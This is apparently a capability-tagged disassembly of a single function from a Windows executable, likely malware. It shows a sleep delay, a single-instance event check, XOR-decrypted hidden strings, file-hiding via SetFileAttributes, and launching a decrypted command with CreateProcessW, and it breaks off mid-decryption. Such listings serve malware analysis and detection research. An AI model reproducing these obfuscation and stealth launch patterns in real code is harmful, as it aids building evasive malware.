Function at 0x140017000
Capabilities:
Check if file exists
Create directory
Create process on windows
Create process suspended
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x1400730c0]
xor rax, rsp
mov qword [rbp + 0x550], rax
mov ecx, 0x114d
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001b790
lea r9, str.d73x14R906SC5S7E45R32e33I
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
test rax, rax
je 0x140018192
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140017085
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140018190
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xor r13d, r13d
mov qword [rbp + 0x3c0], r13
mov qword [rbp + 0x3c8], r13
lea rdx, str.___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________.___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________._____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], r13b
jne 0x1400170b1
lea rcx, [rbp + 0x3b0]
call fcn.140002e60
nop
call fcn.140018a30
mov r9, rax
cmp byte [rax + 0x53], 0
je 0x140017111
mov rdx, r13
movabs r8, 0x31070921874b0533
nop dword [rax]
nop word [rax + rax]
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x53
jb 0x1400170f0
mov byte [r9 + 0x53], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017130
mov rdx, r9
lea rcx, [rbp + 0x2f0]
call fcn.140002e60
nop
call fcn.140018b30
mov rcx, rax
call fcn.14001aa70
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140017172
mov rdx, rcx
lea rcx, [rbp + 0x370]
call fcn.140002e60
nop
call fcn.140018c20
mov rcx, rax
call fcn.14001a970
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400171b4
mov rdx, rcx
lea rcx, [rbp + 0x390]
call fcn.140002e60
nop
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x440]
call fcn.140039c30
mov ebx, 2
mov r8d, ebx
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x440]
call fcn.140019df0
nop
lea r15d, [rbx + 4]
cmp qword [rbp + 0x4c8], 0
je 0x1400172a2
lea rdx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rdx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x440]
call fcn.140003430
lea rcx, [rbp + 0x448]
call fcn.14001a870
test rax, rax
jne 0x140017283
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx + 0x488], 0
cmovne eax, ebx
or eax, dword [rbp + rcx + 0x450]
and eax, 0x17
mov dword [rbp + rcx + 0x450], eax
and eax, dword [rbp + rcx + 0x454]
jne 0x1400188c1
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rcx, qword [rbp + 0x2f0]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14006aa60]
mov dword [rbp + 0x2a0], 0x4f220947
mov dword [rbp + 0x2a4], 0xfc7750d5
mov dword [rbp + 0x2a8], 0x492e2f75
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2818
mov eax, dword [rcx + rdi]
mov ebx, 0x2860
test al, 1
jne 0x140017358
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp + 0x2ac]
cmp rcx, rdx
ja 0x14001732e
lea rdx, [rbp + 0x290]
cmp rax, rdx
jb 0x14001732e
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2a0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2a8]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xb1
jmp 0x14001734b
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2a0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2a8]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xb1
lea rcx, [0x14003b590]
call fcn.14001e178
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1d], 0
je 0x1400173d9
xor byte [rdx], 0x1b
xor byte [rdx + 1], 0x4b
xor byte [rdx + 2], 0x4b
xor byte [rdx + 3], 0x3b
xor byte [rdx + 4], 0xb1
xor byte [rdx + 5], 0x35
xor byte [rdx + 6], 0x11
xor byte [rdx + 7], 0x99
xor byte [rdx + 8], 0x1b
xor byte [rdx + 9], 0x4b
xor byte [rdx + 0xa], 0x4b
xor byte [rdx + 0xb], 0x3b
xor byte [rdx + 0xc], 0xb1
xor byte [rdx + 0xd], 0x35
xor byte [rdx + 0xe], 0x11
xor byte [rdx + 0xf], 0x99
xor byte [rdx + 0x10], 0x1b
xor byte [rdx + 0x11], 0x4b
xor byte [rdx + 0x12], 0x4b
xor byte [rdx + 0x13], 0x3b
xor byte [rdx + 0x14], 0xb1
xor byte [rdx + 0x15], 0x35
xor byte [rdx + 0x16], 0x11
xor byte [rdx + 0x17], 0x99
xor byte [rdx + 0x18], 0x1b
xor byte [rdx + 0x19], 0x4b
xor byte [rdx + 0x1a], 0x4b
xor byte [rdx + 0x1b], 0x3b
xor byte [rdx + 0x1c], 0xb1
mov byte [rdx + 0x1d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], r13
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x1400173f4
lea rcx, [rbp + 0x350]
call fcn.140002e60
nop
lea rcx, [rbp + 0x350]
mov rbx, qword [rbp + 0x360]
cmp qword [rbp + 0x368], 0xf
jbe 0x14001742f
mov rsi, qword [rbp + 0x350]
add rbx, rsi
jmp 0x140017439
add rbx, rcx
lea rsi, [rbp + 0x350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov eax, 0xa
movabs r14, 0x7ffffffffffffffe
cmp rsi, rbx
jne 0x140017476
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
jmp 0x140017548
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x220], rdx
mov r8d, 7
mov qword [rbp + 0x228], r8
cmp rdi, r14
ja 0x140018917
cmp rdi, r8
jbe 0x1400174f0
or rdi, r8
cmp rdi, r14
jbe 0x1400174ae
mov rdi, r14
jmp 0x1400174b5
cmp rdi, rax
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x210]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x228], r8
mov rdx, qword [rbp + 0x220]
nop word [rax + rax]
lea rcx, [rbp + 0x210]
cmp r8, 7
cmova rcx, qword [rbp + 0x210]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x220]
inc rdx
mov qword [rbp + 0x220], rdx
inc rsi
cmp rsi, rbx
je 0x14001752c
mov r8, qword [rbp + 0x228]
jmp 0x1400174f0
lea rax, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rax, qword [rbp + 0x210]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14006a970]
mov dword [rbp + 0x2e8], 0xa8031b8d
mov word [rbp + 0x2ec], 0x3f94
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x29c4
mov eax, dword [rcx + rdi]
mov ebx, 0x2880
test al, 1
jne 0x1400175ef
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp + 0x2ee]
cmp rcx, rdx
ja 0x1400175c7
lea rdx, [rbp + 0x2d8]
cmp rax, rdx
jb 0x1400175c7
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x2e8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x2ec]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x99
jmp 0x1400175e2
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x2e8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x2ec]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x99
lea rcx, [0x14003b560]
call fcn.14001e178
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x17], 0
je 0x140017655
xor byte [rdx], 0xd1
xor byte [rdx + 1], 0x5f
xor byte [rdx + 2], 0x71
not byte [rdx + 3]
xor byte [rdx + 4], 0xf1
xor byte [rdx + 5], 0x5d
xor byte [rdx + 6], 0x99
xor byte [rdx + 7], 0xeb
xor byte [rdx + 8], 0xd1
xor byte [rdx + 9], 0x5f
xor byte [rdx + 0xa], 0x71
not byte [rdx + 0xb]
xor byte [rdx + 0xc], 0xf1
xor byte [rdx + 0xd], 0x5d
xor byte [rdx + 0xe], 0x99
xor byte [rdx + 0xf], 0xeb
xor byte [rdx + 0x10], 0xd1
xor byte [rdx + 0x11], 0x5f
xor byte [rdx + 0x12], 0x71
not byte [rdx + 0x13]
xor byte [rdx + 0x14], 0xf1
xor byte [rdx + 0x15], 0x5d
xor byte [rdx + 0x16], 0x99
mov byte [rdx + 0x17], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140017674
lea rcx, [rbp + 0x330]
call fcn.140002e60
nop
lea rcx, [rbp + 0x330]
mov rbx, qword [rbp + 0x340]
cmp qword [rbp + 0x348], 0xf
jbe 0x1400176af
mov rsi, qword [rbp + 0x330]
add rbx, rsi
jmp 0x1400176b9
add rbx, rcx
lea rsi, [rbp + 0x330]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
cmp rsi, rbx
jne 0x1400176e7
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
jmp 0x1400177b8
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x200], rdx
mov r8d, 7
mov qword [rbp + 0x208], r8
cmp rdi, r14
ja 0x14001891d
cmp rdi, r8
jbe 0x140017760
or rdi, r8
cmp rdi, r14
jbe 0x14001771f
mov rdi, r14
jmp 0x14001772c
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1f0]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x208], r8
mov rdx, qword [rbp + 0x200]
nop
lea rcx, [rbp + 0x1f0]
cmp r8, 7
cmova rcx, qword [rbp + 0x1f0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x200]
inc rdx
mov qword [rbp + 0x200], rdx
inc rsi
cmp rsi, rbx
je 0x14001779c
mov r8, qword [rbp + 0x208]
jmp 0x140017760
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rax, qword [rbp + 0x1f0]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14006a930]
mov dword [rbp + 0x240], 0xb122af6b
mov dword [rbp + 0x244], 0x6c1d4720
mov dword [rbp + 0x248], 0xb6239e51
mov word [rbp + 0x24c], 0x2b24
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x29e8
mov eax, dword [rcx + rdi]
mov ebx, 0x29f0
test al, 1
jne 0x140017889
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x24d]
cmp rcx, rdx
ja 0x140017858
lea rdx, [rbp + 0x230]
cmp rax, rdx
jb 0x140017858
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x240]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x248]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x24c]
mov word [rcx + 0x1c], ax
jmp 0x14001787c
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x240]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x248]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x24c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003b530]
call fcn.14001e178
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1e], 0
je 0x14001790e
xor byte [rdx], 0x37
xor byte [rdx + 1], 0xfb
xor byte [rdx + 2], 0x4d
xor byte [rdx + 3], 0xc5
xor byte [rdx + 4], 0x41
xor byte [rdx + 5], 0x2b
xor byte [rdx + 6], 0x59
xor byte [rdx + 7], 9
xor byte [rdx + 8], 0x37
xor byte [rdx + 9], 0xfb
xor byte [rdx + 0xa], 0x4d
xor byte [rdx + 0xb], 0xc5
xor byte [rdx + 0xc], 0x41
xor byte [rdx + 0xd], 0x2b
xor byte [rdx + 0xe], 0x59
xor byte [rdx + 0xf], 9
xor byte [rdx + 0x10], 0x37
xor byte [rdx + 0x11], 0xfb
xor byte [rdx + 0x12], 0x4d
xor byte [rdx + 0x13], 0xc5
xor byte [rdx + 0x14], 0x41
xor byte [rdx + 0x15], 0x2b
xor byte [rdx + 0x16], 0x59
xor byte [rdx + 0x17], 9
xor byte [rdx + 0x18], 0x37
xor byte [rdx + 0x19], 0xfb
xor byte [rdx + 0x1a], 0x4d
xor byte [rdx + 0x1b], 0xc5
xor byte [rdx + 0x1c], 0x41
xor byte [rdx + 0x1d], 0x2b
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], r13
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x140017930
lea rcx, [rbp + 0x310]
call fcn.140002e60
nop
lea rcx, [rbp + 0x310]
mov rbx, qword [rbp + 0x320]
cmp qword [rbp + 0x328], 0xf
jbe 0x14001796b
mov rsi, qword [rbp + 0x310]
add rbx, rsi
jmp 0x140017975
add rbx, rcx
lea rsi, [rbp + 0x310]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
cmp rsi, rbx
jne 0x1400179a3
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
jmp 0x140017a7f
mov rax, rbx
sub rax, rsi
mov rdx, r13
mov qword [rbp + 0x1e0], rdx
mov edi, 7
mov qword [rbp + 0x1e8], rdi
cmp rax, r14
ja 0x140018923
cmp rax, rdi
jbe 0x140017a20
or rax, rdi
cmp rax, r14
ja 0x1400179e5
mov r14, rax
cmp rax, 0xa
mov eax, 0xa
cmovb r14, rax
lea rdi, [r14 + 1]
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.140002df0
dec rdi
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e8], rdi
mov rdx, qword [rbp + 0x1e0]
nop word [rax + rax]
lea rcx, [rbp + 0x1d0]
cmp rdi, 7
cmova rcx, qword [rbp + 0x1d0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x1e0]
inc rdx
mov qword [rbp + 0x1e0], rdx
inc rsi
cmp rsi, rbx
je 0x140017a5c
mov rdi, qword [rbp + 0x1e8]
jmp 0x140017a20
lea rax, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rax, qword [rbp + 0x1d0]
mov word [rax + rdx*2], r13w
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rcx, qword [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r14, vtable.std::ios_base.0
cmp eax, 0xffffffff
je 0x140017ab3
test al, 0x10
jne 0x140017b07
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017ad9
test al, 0x10
jne 0x140017b07
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400181c2
test al, 0x10
je 0x1400181c2
call fcn.140018d00
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x140017b6f
lea rdx, [rax + 1]
mov r8, rdi
sub r8, rax
movabs r10, 0x4dc13fb38feb1737
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140017b30
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], r13
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017b90
mov rdx, r9
lea rcx, [rbp + 0x2b0]
call fcn.140002e60
nop
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x270]
call fcn.14001ad70
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x140017c06
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018929
call fcn.14001e060
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], 0
mov rcx, qword [rbp + 0x280]
inc rcx
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.14001e210
mov rbx, rax
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov ecx, dword [rbp + 0x280]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001e060
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140017d73
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017d6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001892f
call fcn.14001e060
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rcx, qword [rbp + 0x2f0]
call fcn.1400269c0
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x140017de6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017de1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018935
call fcn.14001e060
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x140017e41
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400189f5
call fcn.14001e060
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 7
jbe 0x140017ea0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400189fb
call fcn.14001e060
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x140017efb
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017ef6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a01
call fcn.14001e060
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 7
jbe 0x140017f5a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a07
call fcn.14001e060
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x140017fb5
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a0d
call fcn.14001e060
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], 0
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rsi
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x43c], edx
lea rcx, [rbp + 0x448]
call fcn.140019d40
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rbx
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x43c], edx
mov qword [rbp + 0x4e8], r14
lea rcx, [rbp + 0x4e8]
call fcn.14001d5d8
nop
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x140018082
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001807d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a13
call fcn.14001e060
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x1400180dc
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400180d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a19
call fcn.14001e060
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], 0xf
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x140018136
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018131
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a1f
call fcn.14001e060
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x140018190
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001818b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400188bb
call fcn.14001e060
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.14001e040
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x14006a7c0]
mov dword [rbp + 0x260], 0xbb54530e
mov dword [rbp + 0x264], 0x388cda39
mov dword [rbp + 0x268], 0xa158471e
mov word [rbp + 0x26c], 0x8924
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2a50
mov eax, dword [rcx + rdi]
mov ebx, 0x29c8
test al, 1
jne 0x140018293
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x26d]
cmp rcx, rdx
ja 0x140018262
lea rdx, [rbp + 0x250]
cmp rax, rdx
jb 0x140018262
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
jmp 0x140018286
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003b4b0]
call fcn.14001e178
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x1e], 0
je 0x140018318
xor byte [rdx], 0x6b
xor byte [rdx + 1], 0x35
xor byte [rdx + 2], 0x31
xor byte [rdx + 3], 0xd5
xor byte [rdx + 4], 0x5d
xor byte [rdx + 5], 0x89
